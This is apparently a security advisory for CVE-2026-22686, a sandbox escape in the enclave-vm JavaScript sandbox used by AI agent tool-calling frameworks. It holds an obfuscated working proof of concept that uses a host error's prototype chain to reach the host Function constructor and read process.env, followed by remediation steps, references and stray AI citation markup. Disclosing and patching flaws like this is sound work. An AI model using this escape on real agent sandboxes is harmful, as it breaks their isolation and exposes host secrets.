CVE-2026-22686

Proof of Concept

⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.

// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.

const s = (...args) => String.fromCharCode(...args);

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);           // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode   = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const kPtype  = s(112,114,111,116,111,116,121,112,101);

try {
    const ObjectProto = Object[kPtype];
    const lookup = ObjectProto[kLookup];
    const getProtoNative = lookup.call(ObjectProto, kProto);

    let hostError;
    try {
        await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});
    } catch (e) {
        hostError = e;
    }

    const errProto = getProtoNative.call(hostError);
    const ErrorCtor = errProto[kCon];
    const HostFunc = ErrorCtor[kCon];

    const exploitFn = HostFunc(kCode);
    return exploitFn();
} catch (e) {
    return e.message;
}

Mitigation / Remediation

Immediate action:

• Upgrade enclave-vm to 2.7.0+

Defense-in-depth guidance:

• Re-create all Error objects crossing the sandbox boundary inside the sandbox realm
• Strip / freeze prototype chains of host objects
• Prevent access to host Function constructors
• Harden tool error handling to avoid leaking host-native objects

References

• GitHub Security Advisory: https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63
• npm package: https://www.npmjs.com/package/enclave-vm
• Enclave repo: https://github.com/agentfront/enclave
• FrontMCP docs: https://agentfront.dev/docs
• CodeCall plugin overview: https://agentfront.dev/docs/plugins/overview
• EnclaveVM Playground: https://enclave.agentfront.dev/

Factual hooks (for correctness):
- GHSA page confirms **affected `<2.6.0`** and **patched `2.7.0`**, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0}  
- FrontMCP docs explicitly describe **CodeCall** and that it uses **Enclave (AST validation + runtime sandboxing)**. :contentReference[oaicite:1]{index=1}  
- FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2}  
- Enclave repo links the **Live Demo** at `enclave.agentfront.dev`. :contentReference[oaicite:3]{index=3}  
- Release listing shows `[email protected]` dated **Jan 9** (fast fix signal). :contentReference[oaicite:4]{index=4}
::contentReference[oaicite:5]{index=5}